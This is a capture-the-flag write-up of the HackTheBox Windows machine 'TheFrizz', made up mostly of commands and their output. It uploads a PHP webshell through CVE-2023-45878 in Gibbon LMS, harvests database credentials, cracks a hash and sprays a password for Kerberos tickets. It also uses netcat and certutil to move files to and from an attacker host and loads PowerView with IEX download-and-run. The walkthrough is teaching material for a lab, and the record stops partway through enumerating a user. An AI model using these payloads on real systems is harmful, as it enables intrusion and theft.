TheFrizz – HackTheBox Link to heading

  • OS: Windows
  • Difficulty : Medium
  • Platform: HackTheBox

Avatar thefrizz


Summary Link to heading

“TheFrizz” is a Medium difficulty machine from HackTheBox platform. The victim machine is running an Active Directory environment and a webpage. The webpage is running a vulnerable version of Gibbon software to CVE-2023-45878, that allows arbitrary file write that can be concatenated into a Remote Code Execution. With the obtained webshell, we are able to find credentials in a MySQL database for a user in the domain. We are able to extract a Kerberos ticket for this user and use it to connect throughout SSH service. Once in, we find credentials in the Recycle Bin for another user in the domain. This second user can modify and link a GPO that affects the machine; allowing us to add this second user as a local administrator and compromise the system.


User Link to heading

We start with a quick Nmap scan:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.60

We can see multiple ports open: 22 SSH, 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 389 Lightweight Directory Access Protocol (LDAP), 445 Server Message Block (SMB), 5985 Windows Remote Management (WinRM); among many others. Applying some recognition scans over these ports with -sVC flag we get:

❯ sudo nmap -sVC -p22,53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49670,56168,59754,59763 10.10.11.60

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 04:59 -03
Nmap scan report for 10.10.11.60
Host is up (0.46s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-17 14:59:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
56168/tcp open  msrpc         Microsoft Windows RPC
59754/tcp open  msrpc         Microsoft Windows RPC
59763/tcp open  msrpc         Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-03-17T15:00:31
|_  start_date: N/A
|_clock-skew: 7h00m03s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.82 seconds

The machine is running Kerberos, which indicates it could be an Active Directory environment.

From the output we can note 2 things: port 80 redirects to the site frizzdc.frizz.htb subdomain and LDAP port shows a domain: frizz.htb.

We can use NetExec again SMB service to check domains and FQDNs for this machine:

❯ nxc smb 10.10.11.60

SMB         10.10.11.60  445    10.10.11.60   [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)

Interestingly, we don’t get a domain from SMB service.

We can attempt to get more info about the domain with enum4linux-ng (which can be downloaded from its Github repository):

❯ python3 enum4linux-ng.py 10.10.11.60

<SNIP>
 ======================================================
|    Domain Information via LDAP for 10.10.11.60    |
 ======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: frizz.htb
<SNIP>

But, again, we only find the domain frizz.htb from LDAP service.

Therefore, add the possible machine name (frizzdc), its FQDN (frizzdc.frizz.htb) and domain (frizz.htb) found from HTTP page and its domain to our /etc/hosts file:

❯ echo '10.10.11.60 frizzdc frizzdc.frizz.htb frizz.htb' | sudo tee -a /etc/hosts

If we use WhatWeb against the site, the machine is running Apache for Windows:

❯ whatweb -a 3 http://frizzdc.frizz.htb

http://frizzdc.frizz.htb [302 Found] Apache[2.4.58], Country[RESERVED][ZZ], HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], OpenSSL[3.1.3], PHP[8.2.12], RedirectLocation[http://frizzdc.frizz.htb/home/], Title[302 Found]
http://frizzdc.frizz.htb/home/ [200 OK] Apache[2.4.58], Bootstrap[3.3.5], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12], IP[10.10.11.60], JQuery, Modernizr[2.6.2.min], OpenSSL[3.1.3], PHP[8.2.12], Script, Title[Education &mdash; Walkerville Elementary School], X-UA-Compatible[IE=edge]

Visiting http://frizzdc.frizz.htb site in a web browser shows:

TheFrizz 1

The page offers some courses in different topics such as music, biology, hacking and other topics.

At the top right side of the site we have a Staff Login button. Clicking on it redirects to http://frizzdc.frizz.htb/Gibbon-LMS/ site. We there can see:

TheFrizz 2

Based on the url, and also from the text at the bottom, the site is using Gibbon.

Info
Gibbon by EduGorilla is an online education platform software that allows creators, educators, educational institutions, and schools to start their own branded mobile app and website.

To obtain more information about it we could visit official Gibbon site. In this case, based on the text at the bottom of the site, we have a version: v25.0.00. Searching for gibbon 25.0.00 exploit leads to a vulnerability labeled as CVE-2023-45878, which affects versions up to 25.0.01; which indicates the target version should be vulnerable. This vulnerability allows an Arbitrary File Write which can converge into a Remote Code Execution (RCE). We also find this post explaining the vulnerability and providing a Proof of Concept (PoC). The post explains how we can upload an image that can be, in fact, a webshell. From line code at Gibbons repository we can see that we can post content:

$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');

Then, the software decodes the image at line 32:

// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img)      = explode(',', $img);
$img = base64_decode($img);

Which means the image can be encoded in base64 and then decoded.

However, at line 49 this content is written into a file with fwrite function from PHP:

// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);

At the blog they provide a simple snippet to abuse this vulnerability through a simple HTTP POST request:

POST /modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: localhost:8080
[...]


img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=asdf.php&gibbonPersonID=0000000001

where asdf.php is a file that can be a webshell.

To obtain a webshell we can create a simple webshell and store it into a file called webshell.php:

❯ echo '<?php system($_REQUEST["cmd"]); ?>' > webshell.php

We can then post the malicious file (webshell.php) using cURL abusing the vulnerability; storing it into the victim machine as gunzf0x.php:

❯ FILENAME='gunzf0x'; curl -s -X POST 'http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php' -d "img=image/png;$FILENAME,$(cat webshell.php | base64 -w0)" -d "path=$FILENAME.php" -d "gibbonPersonID=0000000001"

And use the uploaded webshell to execute commands. Note that we have uploaded a file called webshell.php, but we named the file stored in the server as gunzf0x.php. We could visit, for example:

http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php?cmd=whoami

in a web browser like Firefox, or we could purely run commands from cURL:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=whoami'

frizz\w.webservice

We are w.webservice user.

Note
Our webshell (gunzf0x.php file in our case) is removed after some minutes. We can then just run the previous command with cURL to upload it again.

For some reason, if we attempt to get a reverse shell using a PowerShell oneliner from Reverse Shell Generator page (https://revshells.com) or uploading a netcat binary for Windows and then attempt to get a connection does not work. I guess a firewall is blocking the connection. However, this webshell is highly responsive; so we are good to go. Checking the current directory (C:\xampp\htdocs\Gibbon-LMS) shows a config.php file:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=dir"

 Volume in drive C has no label.
 Volume Serial Number is D129-C3DA

 Directory of C:\xampp\htdocs\Gibbon-LMS

03/17/2025  10:13 AM    <DIR>          .
10/29/2024  07:28 AM    <DIR>          ..
01/20/2023  07:04 AM               634 .htaccess
01/20/2023  07:04 AM           197,078 CHANGEDB.php
01/20/2023  07:04 AM           103,023 CHANGELOG.txt
01/20/2023  07:04 AM             2,972 composer.json
01/20/2023  07:04 AM           294,353 composer.lock
10/11/2024  08:15 PM             1,307 config.php
01/20/2023  07:04 AM             3,733 error.php
01/20/2023  07:04 AM             1,608 export.php
<SNIP>

Reading this file:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=type .\config.php"

We get:

<?php

<SNIP>

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;

We have some credentials for a MySQL database.

We can check some internal ports open, filtering by TCP ports with grep:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=netstat -ano" | grep 'TCP'

<SNIP>
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       656
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       656
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       528
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       1916
<SNIP>

Port 3306 is open, which is the default port for MySQL.

We can search if we have a MySQL binary somewhere at C:\xampp directory running:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode "cmd=where /r C:\xampp mysql.exe"

C:\xampp\mysql\bin\mysql.exe

We have a binary located at C:\xampp\mysql\bin\mysql.exe.

Therefore, use this binary and the previously found credentials to check if we have access. We also provide -e flag to run command through CLI:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "SELECT VERSION()"'

VERSION()
10.4.32-MariaDB

It worked.

We have many tables:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SHOW TABLES;"'

Tables_in_gibbon
gibbonaction
gibbonactivity
gibbonactivityattendance
gibbonactivityslot
gibbonactivitystaff
gibbonactivitystudent
gibbonactivitytype
gibbonadmissionsaccount
gibbonadmissionsapplication
<SNIP>

Searching gibbon db passwords reaches this post forum for Gibbon. There, they mention a gibbonPerson table.

We can check the content of this table:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT * FROM gibbonperson;"'

gibbonPersonID  title   surname firstName       preferredName   officialName    nameInCharacters        gender  username        passwordStrong  passwordStrongSalt      passwordForceReset  status  canLogin        gibbonRoleIDPrimary     gibbonRoleIDAll dob     email   emailAlternate  image_240       lastIPAddress   lastTimestamp   lastFailIPAddress   lastFailTimestamp       failCount       address1        address1District        address1Country address2        address2District        address2Country phone1Type phone1CountryCode        phone1  phone3Type      phone3CountryCode       phone3  phone2Type      phone2CountryCode       phone2  phone4Type      phone4CountryCode       phone4      website languageFirst   languageSecond  languageThird   countryOfBirth  birthCertificateScan    ethnicity       religion        profession      employer        jobTitle    emergency1Name  emergency1Number1       emergency1Number2       emergency1Relationship  emergency2Name  emergency2Number1       emergency2Number2       emergency2Relationship      gibbonHouseID   studentID       dateStart       dateEnd gibbonSchoolYearIDClassOf       lastSchool      nextSchool      departureReason transport       transportNotes      calendarFeedPersonal    viewCalendarSchool      viewCalendarPersonal    viewCalendarSpaceBooking        gibbonApplicationFormID lockerNumber    vehicleRegistration personalBackground      messengerLastRead       privacy dayType gibbonThemeIDPersonal   gibboni18nIDPersonal    studentAgreements       googleAPIRefreshToken   microsoftAPIRefreshToken    genericAPIRefreshToken  receiveNotificationEmails       mfaSecret       mfaToken        cookieConsent   fields
0000000001      Ms.     Frizzle Fiona   Fiona   Fiona Frizzle           Unspecified     f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03   /aACFhikmNopqrRTVz2489   N       Full    Y       001     001     NULL    f.frizzle@frizz.htb     NULL    NULL    ::1     2024-10-29 09:28:59     NULL    NULL    0          NULL             NULL    NULL    NULL                                                    Y       Y       N       NULL                            NULL    NULL    NULL    NULLNULL    NULL                            Y       NULL    NULL    NULL

Select the interesting columns, such as username, passwordStrong and passwordStrongSalt:

❯ curl -s -X GET -G 'http://frizzdc.frizz.htb/Gibbon-LMS/gunzf0x.php' --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -u "MrGibbonsDB" -p"MisterGibbs!Parrot!?1" -h localhost gibbon -e "USE gibbon; SELECT username,passwordStrong,passwordStrongSalt FROM gibbonperson;"'

username        passwordStrong  passwordStrongSalt
f.frizzle       067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03        /aACFhikmNopqrRTVz2489

We have a user called f.frizzle and a salted hash.

This appears to be a SHA-256 hash. Looking at Hashcat examples, modes 1410 or 1420 are the correct ones for salted SHA256. Save the hash and its salt separated by : in a file called ffrizzle_hash:

❯ cat ffrizzle_hash

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489

And use Hashcat to crack this hash. Mode 1420 works along with rockyou.txt dictionary:

❯ hashcat -a 0 -m 1420 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1420 (sha256($salt.$pass))
Hash.Target......: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff...Vz2489
Time.Started.....: Mon Mar 17 08:08:32 2025 (5 secs)
<SNIP>

We get a password: Jenni_Luvs_Magic23.

We can check if these credentials are correct through SMB service:

❯ nxc smb 10.10.11.60 -u 'f.frizzle' -p 'Jenni_Luvs_Magic23'

SMB         10.10.11.60  445    10.10.11.60   [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60  445    10.10.11.60   [-] 10.10.11.60\f.frizzle:Jenni_Luvs_Magic23 STATUS_NOT_SUPPORTED

We get STATUS_NOT_SUPPORTED message.

We got something similar for HTB Vintage machine. Checking Microsoft Documentation for this error this means, basically, that the server’s response does not understand or is unable to process the specific type of information the client is trying to modify/request.

As we did at Vintage machine we can try to use Kerberos service to authenticate. For this purpose we can use getTGT.py from Impacket to request a ticket for f.frizzle user:

❯ impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Our old enemy KRB_AP_ERR_SKEW(Clock skew too great) is here.

We can skip this error using faketime along with ntpdate:

❯ faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/f.frizzle:'Jenni_Luvs_Magic23' -dc-ip frizz.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in f.frizzle.ccache

We succesfully obtained a Kerberos ticket for f.frizzle user.

We now need to edit our /etc/krb5.conf file or we will get an error:

Permission denied (gssapi-with-mic,keyboard-interactive)

For that we can use the same script that we have used at Vintage machine to add the machine name and domain to our /etc/krb5.conf file:

❯ sudo python3 evil_winrm_kerberos.py frizz.htb frizzdc

[+] The following data/text will be OVERWRITTEN at '/etc/krb5.conf':

[libdefaults]
        default_realm = FRIZZ.HTB
[realms]
         FRIZZ.HTB = {
                 kdc = frizzdc.frizz.htb
                 admin_server = frizzdc.frizz.htb
       }
[domain_realm]
          frizz.htb = FRIZZ.HTB
          .frizz.htb = FRIZZ.HTB

[?] Would you like to continue? [Y]es/[No]: y
[+] Backup created at '/etc/backup_krb5.conf'.
[+] '/etc/krb5.conf' has been configured
[+] Finally, after exporting your Kerberos ticket, to execute evil-winrm with Kerberos just run:
    evil-winrm -i frizzdc -r FRIZZ.HTB

and attempt to log in as f.frizzle user through WinRM with evil-winrm (using faketime to avoid clock issues):

❯ KRB5CCNAME=f.frizzle.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" evil-winrm -i frizzdc -r FRIZZ.HTB

But does not work.

We can also attempt to connect through SSH using the generated Kerberos ticket with -K flag. For example, we can log in running:

❯ KRB5CCNAME=f.frizzle.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p 'Jenni_Luvs_Magic23' ssh -o stricthostkeychecking=no -K f.frizzle@frizz.htb

PowerShell 7.4.5
PS C:\Users\f.frizzle>

Nice. We can grab the user flag.


NT Authority/System - Administrator Link to heading

Looking at C:\ directory we only can see the typical folders for a Windows machine:

PS C:\Users\f.frizzle> ls C:\

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----           3/10/2025  3:39 PM                inetpub
d----            5/8/2021  1:15 AM                PerfLogs
d-r--           2/26/2025  8:13 AM                Program Files
d----            5/8/2021  2:34 AM                Program Files (x86)
d-r--          10/29/2024  7:31 AM                Users
d----           3/10/2025  3:41 PM                Windows
d----          10/29/2024  7:28 AM                xampp

But if we search for hidden folders adding -force to ls command with PowerShell we can see we have more directories:

PS C:\Users\f.frizzle> ls C:\ -force

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                $RECYCLE.BIN
d--h-           3/10/2025  3:31 PM                $WinREAgent
d--hs           2/20/2025  2:51 PM                Config.Msi
l--hs          10/29/2024  9:12 AM                Documents and Settings -> C:\Users
d----           3/10/2025  3:39 PM                inetpub
d----            5/8/2021  1:15 AM                PerfLogs
d-r--           2/26/2025  8:13 AM                Program Files
d----            5/8/2021  2:34 AM                Program Files (x86)
d--h-           2/20/2025  2:50 PM                ProgramData
d--hs          10/29/2024  9:12 AM                Recovery
d--hs          10/29/2024  7:25 AM                System Volume Information
d-r--          10/29/2024  7:31 AM                Users
d----           3/10/2025  3:41 PM                Windows
d----          10/29/2024  7:28 AM                xampp
-a-hs          10/29/2024  8:27 AM          12288 DumpStack.log.tmp

We have a Recycle Bin folder.

Checking this folder returns:

PS C:\Users\f.frizzle> Get-ChildItem -Path 'C:\$RECYCLE.BIN' -Force -Recurse

    Directory: C:\$RECYCLE.BIN

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103

    Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini

We have 2 .7z files. We can attempt to download the one that is heavier, called $RE2XMEG.7z.

For this we can pass a netcat binary to the victim machine and use it. Start a temporal Python HTTP server on port 8000 in our attacker machine:

❯ ls -la && python3 -m http.server 8000

total 9976
drwxrwxr-x 2 gunzf0x gunzf0x     4096 Mar 18 01:36 .
drwxrwxr-x 5 gunzf0x gunzf0x     4096 Mar 17 04:46 ..
-rw-rw-r-- 1 gunzf0x gunzf0x     4687 Mar 17 08:45 evil_winrm_kerberos.py
-rw-r--r-- 1 gunzf0x gunzf0x    45272 Mar 17 06:34 nc64.exe
-rw-rw-r-- 1 gunzf0x gunzf0x       35 Mar 17 06:53 webshell.php
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and, in the victim machine, use certutil to transfer nc64.exe binary:

PS C:\Users\f.frizzle> certutil.exe -urlcache -f -split http://10.10.16.4:8000/nc64.exe C:\Users\f.frizzle\Downloads\nc.exe

****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Start a listener with netcat in our atackker machine, and store all the received information into a file:

❯ nc -lvnp 443 > $RE2XMEG.7z

listening on [any] 443 ...

And, in the victim machine, use the transferred netcat binary to pass the file to our attacker machine:

PS C:\Users\f.frizzle> cmd.exe /c 'C:\Users\f.frizzle\Downloads\nc.exe 10.10.16.4 443 < C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z'

We get a .7z file. Use 7z to check its extract its content into a directory called recycle_bin_content:

❯ 7z x $RE2XMEG.7z -o'recycle_bin_content'

<SNIP>

The extracted files weights 150 MBs:

❯ du -sh recycle_bin_content

150M    recycle_bin_content

Checking the files, they seems to be using a WAPT server for Windows with Python:

Info
A WAPT server is a software and configuration deployment tool that can be used to install, update, and remove software on Windows, Linux, and MacOS devices. It can be used to manage the lifecycle of Windows applications
❯ ls -la recycle_bin_content/wapt | head

total 45012
drwxrwxr-x 18 gunzf0x gunzf0x    4096 Oct 23 01:18 .
drwxrwxr-x  3 gunzf0x gunzf0x    4096 Mar 18 02:19 ..
-rw-rw-r--  1 gunzf0x gunzf0x    6147 Sep 10  2024 auth_module_ad.py
drwxrwxr-x  3 gunzf0x gunzf0x    4096 Oct 23 01:12 cache
-rw-rw-r--  1 gunzf0x gunzf0x  412462 Sep 10  2024 common.py
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Oct 23 01:12 conf
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Oct 23 00:35 conf.d
-rw-rw-r--  1 gunzf0x gunzf0x    5730 Sep 10  2024 COPYING.txt
drwxrwxr-x  2 gunzf0x gunzf0x    4096 Oct 23 01:16 db

Searching for wapt server config file returns this page. Where, they talk about a wapserver.ini file. We can search this file with find command:

❯ find recycle_bin_content -name '*waptserver.ini*' 2>/dev/null

recycle_bin_content/wapt/conf/waptserver.ini
recycle_bin_content/wapt/conf/waptserver.ini.template

This file exists.

Checking its content we get:

❯ cat recycle_bin_content/wapt/conf/waptserver.ini

[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

We have what seems to be a password in base64. Decoding it we get:

❯ echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d

!suBcig@MehTed!R

We have a potential password: !suBcig@MehTed!R.

To see if this is the password of any user in the domain, search for domain users using dsquery command:

PS C:\Users\f.frizzle> dsquery user

"CN=Administrator,CN=Users,DC=frizz,DC=htb"
"CN=Guest,CN=Users,DC=frizz,DC=htb"
"CN=krbtgt,CN=Users,DC=frizz,DC=htb"
"CN=f.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.li,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=h.arm,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=M.SchoolBus,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=d.hudson,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=k.franklin,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=l.awesome,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=t.wright,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=r.tennelli,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=J.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=a.perlstein,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=p.terese,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=v.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=g.frizzle,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.sandiego,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=c.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=m.ramon,OU=Class_Frizz,DC=frizz,DC=htb"
"CN=w.Webservice,OU=Class_Frizz,DC=frizz,DC=htb"

or just obtaining users:

PS C:\Users\f.frizzle> (dsquery user) | ForEach-Object { ($_ -split ',')[0] -replace 'CN=' -replace '"' }

Administrator
Guest
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice

and save all those users into a file called domain_users.txt in our attacker machine.

We can then set a Bash oneliner attempting to extract a Kerberos ticket for any of these users (in a kind of Password Spray, but requesting Kerberos tickets):

❯ for user in $(cat domain_users.txt); do echo "[+] Attempting to extract ticket for user $user"; faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" impacket-getTGT frizz.htb/$user:'!suBcig@MehTed!R' -dc-ip frizz.htb && echo "[+] Ticket for user $user extracted" || echo "[-] Could not extract ticket for user $user"; done

<SNIP>
[+] Attempting to extract ticket for user M.SchoolBus
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in M.SchoolBus.ccache
[+] Ticket for user M.SchoolBus extracted
<SNIP>

We get a ticket for M.SchoolBus user.

Note
We can also attempt Password Spray with Kerbrute, but in my case it did not work.

Log in as this user through SSH using this new ticket:

❯ KRB5CCNAME=M.SchoolBus.ccache faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" sshpass -p '!suBcig@MehTed!R' ssh -o stricthostkeychecking=no -K M.SchoolBus@frizz.htb

PowerShell 7.4.5
PS C:\Users\M.SchoolBus> whoami

frizz\m.schoolbus

At this point we can attempt to import PowerView.ps1 (which can be downloaded from its Github repository). Expose this module through a temporal Python HTTP server on port 8000 as we did with netcat binary and, from the attacker machine, import the exposed module:

PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')

InvalidOperation:
Line |
  69 |      $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'R …
     |      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | Method invocation failed because [System.AppDomain] does not contain a method named 'DefineDynamicAssembly'.
InvalidOperation:
Line |
  70 |      $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName …
     |      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     | You cannot call a method on a null-valued expression.
<SNIP>

We get many errors. Why? Because the current version of PowerShell is 7.4.5:

PS C:\Users\M.SchoolBus> $PSVersionTable.PSVersion

Major  Minor  Patch  PreReleaseLabel BuildLabel
-----  -----  -----  --------------- ----------
7      4      5

Therefore, just change to PowerShell version 5.1 and attempt to import it again:

PS C:\Users\M.SchoolBus> powershell -version 5.1

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\M.SchoolBus> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')

It worked.

Get information about our current user:

PS C:\Users\M.SchoolBus> Get-DomainUser -Identity M.SchoolBus -Domain frizz.htb | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol


name                 : M.SchoolBus
samaccountname       : M.SchoolBus
description          : Desktop Administrator
memberof             : {CN=Desktop Admins,CN=Users,DC=frizz,DC=htb, CN=Remote Management Users,CN=Builtin,DC=frizz,DC=htb}
whencreated          : 10/29/2024 2:27:03 PM
pwdlastset           : 10/29/2024 7:27:03 AM
lastlogontimestamp   : 3/18/2025 5:52:11 AM
accountexpires       : NEVER
admincount           :
userprincipalname    : M.SchoolBus
serviceprincipalname :
mail                 :
